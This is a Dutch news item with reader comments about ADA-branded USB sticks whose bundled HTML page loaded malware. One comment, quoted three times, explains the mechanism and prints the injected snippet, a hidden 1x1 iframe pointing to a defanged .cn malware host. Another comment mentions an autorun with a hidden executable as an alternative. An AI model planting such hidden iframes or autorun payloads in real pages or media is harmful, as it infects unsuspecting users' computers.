Forum Weblog Zoek Actieve Items Nieuws Columns Reviews Previews Specials Archief

Tandartsen krijgen malware per post

Redactie

Een onaangename verrassing voor Amerikaanse tandartsen. Hun eigen koepelorganisatie, de American Dental Association, stuurde ze per post een USB-stick. Daarop stonden de nieuwe richtlijnen voor facturen. Op zich onschuldig, maar op de stick stond ook malware, ontdekte een tandarts. De Amerikaanse veiligheidsdeskundige Brian Krebs schreef er donderdag over.

De malware probeert een website te openen die vaak door hackers wordt gebruikt. Zo kunnen ze de bezoekende computer besmetten en de controle volledig overnemen.

Volgens de tandartsenorganisatie zijn er ongeveer 37.000 flash drives verstuurd en zijn de meeste daarvan in orde. Hoeveel computers uiteindelijk besmet zijn, is niet bekend. Het probleem zou te wijten zijn aan de fabrikant in China: de apparatuur daar zou besmet zijn geweest.

Tandartsen krijgen malware per post (Foto: BuzzT)

Help ons; deel dit item als je het leuk vond

Heb je een leuk of interessant bericht gevonden dat je graag op FOK! terug ziet? Tip ons dan via de submit!

Zoek jij altijd de leukste nieuwtjes en kun je daar leuk over schrijven? Meld je aan als nieuwsposter!

Lees ook

Font-grootte:
Normaal
Kleiner

regelhoogte :
Normaal
Kleiner

9 reacties

donderdag 28 april 2016, 22:38 uur #1

rutger05

'Het probleem zou te wijten zijn aan de fabrikant in China: de apparatuur daar zou besmet zijn geweest.'

Uitzoeken tot op de bodem hoe die malware erop gekomen is. Als het bij de fabrikant is zware boete opleggen. Er zou natuurlijk ook sprake van kunnen zijn dat het om spionage door de Chinese overheid gaat.

https://www.natuurmonumenten.nl/laatjestemhoren/landelijk/petitie

donderdag 28 april 2016, 23:39 uur #3

Posergoth6667

quote:
Op donderdag 28 april 2016 @ 22:38 schreef rutger05 het volgende:
'Het probleem zou te wijten zijn aan de fabrikant in China: de apparatuur daar zou besmet zijn geweest.'

Uitzoeken tot op de bodem hoe die malware erop gekomen is. Als het bij de fabrikant is zware boete opleggen. Er zou natuurlijk ook sprake van kunnen zijn dat het om spionage door de Chinese overheid gaat.

Oh het is heel simpel. Het is een USB stick met een custom behuizing. Er staat software op waarmee de site geopend word door op een link te klikken. De link zelf is niets meer dan een html pagina. In die pagina, die door de ADA is laten maken, zit nu een iframe die verwijst naar een .cn adres waar vanaf malware word geinstalleerd via je browser. Er zijn twee serieuze mogelijkheden, of het bedrijf dat voor de ADA de pagina heeft gemaakt heeft het gedaan, of het komt bij de maker van de USB stick vandaan. Het laatste lijkt mij het meest waarschijnlijke aangezien het een simpele pagina is en zo aan te passen is. Er is als het goed is makkelijk te controleren wat de geuploade content is vanaf de ADA naar het bedrijf dat de software gemaakt heeft en het bedrijf dat de stick heeft gemaakt.

Het ziet er zo uit:

< iframe src="http://link-naar-virus-verwijderd.cn/" width=1 height=1 style="border:0">< /iframe >

De code zelf is gewoon normale code. Er zit ook geen virus op de stick zelf. Wat hierboven staat is iets dat je ook op andere sites kunt vinden waar geen malware op te vinden is.

De website zelf heeft het echte virus die verspreid word door het openen van de iframe. Aangezien de iframe automatisch word geladen heeft iedereen die het opent en geen goede virus beveiliging heeft een probleem.

[ Bericht gewijzigd door Posergoth6667 op donderdag 28 april 2016 @ 23:47 ]

The media's the most powerful entity on earth. They have the power to make the innocent guilty and to make the guilty innocent... They control the minds of the masses.

donderdag 28 april 2016, 23:54 uur #4

hardstylesage

quote:
Op donderdag 28 april 2016 @ 23:39 schreef Posergoth6667 het volgende:

[..]

Oh het is heel simpel. Het is een USB stick met een custom behuizing. Er staat software op waarmee de site geopend word door op een link te klikken. De link zelf is niets meer dan een html pagina. In die pagina, die door de ADA is laten maken, zit nu een iframe die verwijst naar een .cn adres waar vanaf malware word geinstalleerd via je browser. Er zijn twee serieuze mogelijkheden, of het bedrijf dat voor de ADA de pagina heeft gemaakt heeft het gedaan, of het komt bij de maker van de USB stick vandaan. Het laatste lijkt mij het meest waarschijnlijke aangezien het een simpele pagina is en zo aan te passen is. Er is als het goed is makkelijk te controleren wat de geuploade content is vanaf de ADA naar het bedrijf dat de software gemaakt heeft en het bedrijf dat de stick heeft gemaakt.

Het ziet er zo uit:

< iframe src="http://link-naar-virus-verwijderd.cn/" width=1 height=1 style="border:0">< /iframe >

De code zelf is gewoon normale code. Er zit ook geen virus op de stick zelf. Wat hierboven staat is iets dat je ook op andere sites kunt vinden waar geen malware op te vinden is.

De website zelf heeft het echte virus die verspreid word door het openen van de iframe. Aangezien de iframe automatisch word geladen heeft iedereen die het opent en geen goede virus beveiliging heeft een probleem.

Goede uitleg

Hardstyyyyleee + BreeZaahz to the bone!!11 :')
Android + Verveling = Titan Turret spelen

vrijdag 29 april 2016, 02:45 uur #5

Jee-Pee

quote:
Op donderdag 28 april 2016 @ 22:47 schreef Sriracha het volgende:
Bij een verrot gebit helpt alleen trekken

Trekken?
Hoe vaak per dag/week?
Met of zonder beeldondersteunend materiaal?

If you say 'plz' because it is shorter then 'please' , then i will say 'No' because it is shorter then 'Ýes'.

vrijdag 29 april 2016, 08:26 uur #6

Truthteller

quote:
Op donderdag 28 april 2016 @ 22:38 schreef rutger05 het volgende:
'Het probleem zou te wijten zijn aan de fabrikant in China: de apparatuur daar zou besmet zijn geweest.'

Uitzoeken tot op de bodem hoe die malware erop gekomen is. Als het bij de fabrikant is zware boete opleggen. Er zou natuurlijk ook sprake van kunnen zijn dat het om spionage door de Chinese overheid gaat.

Ik verbaas me dat die amerikaanse manipulators dit keer geen ISIS erbij betrekken.

vrijdag 29 april 2016, 08:58 uur #7

icecreamfarmer_NL

VOC mentaliteit

quote:
Op vrijdag 29 april 2016 @ 08:26 schreef Truthteller het volgende:

[..]
Ik verbaas me dat die amerikaanse manipulators dit keer geen ISIS erbij betrekken.

Waarom zouden ze het is een bekende techniek van de Chinese overheid om besmette usb sticks te verspreiden op beurzen en dergelijke.

1/10 Van de rappers dankt zijn bestaan in Amerika aan de Nederlanders die zijn voorouders met een cruiseschip uit hun hongerige landen ophaalde om te werken op prachtige plantages.
"Oorlog is de overtreffende trap van concurrentie."

vrijdag 29 april 2016, 11:01 uur #8

EggsTC

GOA

quote:
Op donderdag 28 april 2016 @ 23:39 schreef Posergoth6667 het volgende:

[..]

Oh het is heel simpel. Het is een USB stick met een custom behuizing. Er staat software op waarmee de site geopend word door op een link te klikken. De link zelf is niets meer dan een html pagina. In die pagina, die door de ADA is laten maken, zit nu een iframe die verwijst naar een .cn adres waar vanaf malware word geinstalleerd via je browser. Er zijn twee serieuze mogelijkheden, of het bedrijf dat voor de ADA de pagina heeft gemaakt heeft het gedaan, of het komt bij de maker van de USB stick vandaan. Het laatste lijkt mij het meest waarschijnlijke aangezien het een simpele pagina is en zo aan te passen is. Er is als het goed is makkelijk te controleren wat de geuploade content is vanaf de ADA naar het bedrijf dat de software gemaakt heeft en het bedrijf dat de stick heeft gemaakt.

Het ziet er zo uit:

< iframe src="http://link-naar-virus-verwijderd.cn/" width=1 height=1 style="border:0">< /iframe >

De code zelf is gewoon normale code. Er zit ook geen virus op de stick zelf. Wat hierboven staat is iets dat je ook op andere sites kunt vinden waar geen malware op te vinden is.

De website zelf heeft het echte virus die verspreid word door het openen van de iframe. Aangezien de iframe automatisch word geladen heeft iedereen die het opent en geen goede virus beveiliging heeft een probleem.

Of je zet een autorun op de USB stick met hidden exe file, ben je er ook. Autorun staat default aan op USB sticks geloof ik.

Lambo of Rekt

vrijdag 29 april 2016, 11:04 uur #9

Posergoth6667

quote:
Op vrijdag 29 april 2016 @ 11:01 schreef EggsTC het volgende:

[..]

Of je zet een autorun op de USB stick met hidden exe file, ben je er ook. Autorun staat default aan op USB sticks geloof ik.

Is mogelijk, alleen hier niet gedaan. Er zijn nog veel meer dingen die je kunt doen.

The media's the most powerful entity on earth. They have the power to make the innocent guilty and to make the guilty innocent... They control the minds of the masses.

Reageer zelf